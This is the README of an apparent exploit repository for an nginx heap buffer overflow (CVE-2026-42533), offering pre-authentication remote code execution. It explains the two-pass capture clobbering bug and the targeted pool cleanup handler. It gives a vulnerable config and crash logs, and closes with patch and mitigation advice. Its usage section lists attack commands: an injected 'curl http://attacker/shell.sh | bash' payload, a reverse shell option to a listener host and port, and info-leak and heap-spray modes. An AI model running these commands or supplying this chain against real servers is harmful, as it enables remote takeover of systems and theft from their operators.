imbas007/cve-2026-42533Exploit for nginx heap buffer overflow (CVE-2026-42533) providing pre-auth RCE via two-pass capture clobbering. Includes info leak, heap spray, and reverse shell modules.
Pre-Authentication Remote Code Execution via Two-Pass Capture Clobbering
Public PoC released 2026-07-27 — Don't wait, patch now.
| CVE | CVE-2026-42533 |
| CVSS 4.0 | 9.2 (Critical) |
| Type | Heap Buffer Overflow (CWE-122) |
| Affected | nginx 0.9.6 – 1.30.3 (stable), 0.9.6 – 1.31.2 (mainline) |
| Fixed | nginx 1.30.4 / 1.31.3, NGINX Plus R36 P7 / 37.0.3.1 |
| Disclosed | 2026-07-15 (F5 / NGINX) |
| PoC Released | 2026-07-27 |
| Researcher | Stan Shaw (0xCyberstan) |
| Platform | Diagnostic | Overflow | Crash | Info Leak |
|---|---|---|---|---|
| Ubuntu 24.04 x86_64 | ✅ | ✅ | ✅ SIGABRT | ⚠️ Partial |
CVE-2026-42533 is a critical heap buffer overflow in nginx's two-pass string evaluation engine. When a regex-based map directive interacts with numbered capture groups ($1, $2, etc.), the shared r->captures structure gets silently overwritten between the LEN (measure) and VALUE (write) passes. This causes a size mismatch:
Chained together, these two primitives enable reliable pre-auth RCE, defeating ASLR — demonstrated at 10/10 reliability on Ubuntu 24.04.
┌─────────────────────────────────────────────────────────────┐
│ LEN PASS (measure) │
│ $1 from location ~ ^/api/(...)$ = "abc" → measures 3 bytes│
│ $overflow_gadget = giant_header → measures 5000 bytes │
│ Buffer allocated: 5003 bytes │
│ │
│ [ $overflow_gadget triggers map regex → clobbers $1 ] │
│ $1 now = giant_header (5000 bytes) │
│ │
│ VALUE PASS (write) │
│ $1 writes 5000 bytes (LEN said 3!) → OVERFLOW! │
│ $overflow_gadget writes 5000 bytes │
│ Total written: 10000 bytes into 5003-byte buffer │
│ → 4997 bytes overflow into adjacent heap │
└─────────────────────────────────────────────────────────────┘
The overflow corrupts adjacent heap structures. The primary target is ngx_pool_cleanup_t:
struct ngx_pool_cleanup_s {
ngx_pool_cleanup_pt handler; // function pointer → overwrite for RIP control
void *data; // argument to handler
ngx_pool_cleanup_t *next; // next in chain
};
When the connection pool is destroyed, handler(data) is called → arbitrary code execution.
CVE-2026-42533/
├── exploit/
│ ├── exploit.py # Full exploit chain (leak → spray → overflow → RCE)
│ ├── leak.py # Info leak module (heap/libc pointer leak)
│ ├── overflow.py # Heap overflow module (crash / RCE trigger)
│ ├── analyze.py # GDB analysis helper for offset determination
│ └── requirements.txt # Python dependencies
├── nginx/
│ └── nginx.conf # Vulnerable nginx configuration
├── Dockerfile # Docker build for test environment (Ubuntu 24.04)
├── docker-compose.yml # Docker Compose for easy deployment
└── README.md
requests# Diagnostic mode — shows two-pass mismatch (safe, no crash)
python3 exploit/overflow.py <target> --diagnose
Output:
header= 10: LEN= 13 actual= 13 internal_overflow= 7 ✓
header= 100: LEN= 103 actual= 103 internal_overflow= 97 ✓
header= 1000: LEN= 1003 actual= 1003 internal_overflow= 997 ✓
python3 exploit/overflow.py <target> --crash
Result on Ubuntu 24.04:
worker process 12282 exited on signal 6 (core dumped)
free(): invalid next size (normal)
# Ubuntu 24.04 (confirmed working)
ssh root@<your-server>
apt-get install -y build-essential libpcre2-dev libssl-dev zlib1g-dev
wget https://nginx.org/download/nginx-1.27.4.tar.gz
tar xzf nginx-1.27.4.tar.gz && cd nginx-1.27.4
./configure --prefix=/usr/local/nginx --with-cc-opt='-g -O0'
make -j$(nproc) && make install
# Copy vulnerable config
cp nginx/nginx.conf /usr/local/nginx/conf/nginx.conf
/usr/local/nginx/sbin/nginx
# Run exploit from your machine
python3 exploit/overflow.py <server-ip> --diagnose
docker compose up -d --build
python3 exploit/overflow.py localhost --port 8080 --diagnose
python3 exploit/exploit.py <target> [options]
# Examples:
python3 exploit/exploit.py 192.168.1.100 # full auto
python3 exploit/exploit.py 192.168.1.100 --leak-only # recon only
python3 exploit/exploit.py 192.168.1.100 --crash # verify vuln
python3 exploit/exploit.py 192.168.1.100 --cmd "id > /tmp/pwned"
# Manual mode (if you have pre-leaked addresses)
python3 exploit/exploit.py 192.168.1.100 \
--libc 0x7f1234000000 \
--heap 0x5a1234000000 \
--cmd "curl http://attacker/shell.sh | bash"
# Reverse shell
python3 exploit/exploit.py 192.168.1.100 \
--reverse-shell --lhost 10.0.0.1 --lport 4444
python3 exploit/leak.py <target> [options]
# Quiet mode (just output addresses)
python3 exploit/leak.py 192.168.1.100 -q
# LIBC:0x7f1234567890
# HEAP:0x5a1234567890
python3 exploit/overflow.py <target> --crash # crash worker (PoC)
python3 exploit/overflow.py <target> --spray # heap spray only
The exploit requires this specific pattern in nginx config:
# 1. A regex-based map (clobbers capture state)
map $http_x_overflow $overflow_gadget {
"~^(.+)$" $1; # regex match overwrites $1
default "";
}
# 2. A regex location (creates captures)
server {
location ~ ^/api/(...)$ { # creates $1, $2, ...
# 3. Both capture AND map variable in same directive
return 200 "$1$overflow_gadget"; # ← two-pass sink
}
}
Detect vulnerable configs using the public scanner:
Worker PID: 12282
[Phase 1] Diagnostic:
header=100: LEN=103, response=103 ✓
header=1000: LEN=1003, response=1003 ✓ (997 byte internal overflow!)
[Phase 2] Heap Corruption:
8000-byte header → VALUE writes 16000 bytes into 8003-byte buffer
→ 7997 bytes overflow past buffer boundary
Worker PID: 12331 (NEW — old worker DEAD!)
Error log:
free(): invalid next size (normal)
worker process 12282 exited on signal 6 (core dumped)
# Upgrade to patched versions:
# nginx 1.30.4+ (stable) / 1.31.3+ (mainline)
# NGINX Plus R36 P7 / 37.0.3.1
Replace numbered captures with named captures in map directives:
# VULNERABLE
map $http_foo $bar {
"~^(.+)$" $1; # numbered capture → clobbers shared state
}
# MITIGATED
map $http_foo $bar {
"~^(?<val>.+)$" $val; # named capture → isolated
}
nginx -v (should be ≥ 1.30.4 or ≥ 1.31.3)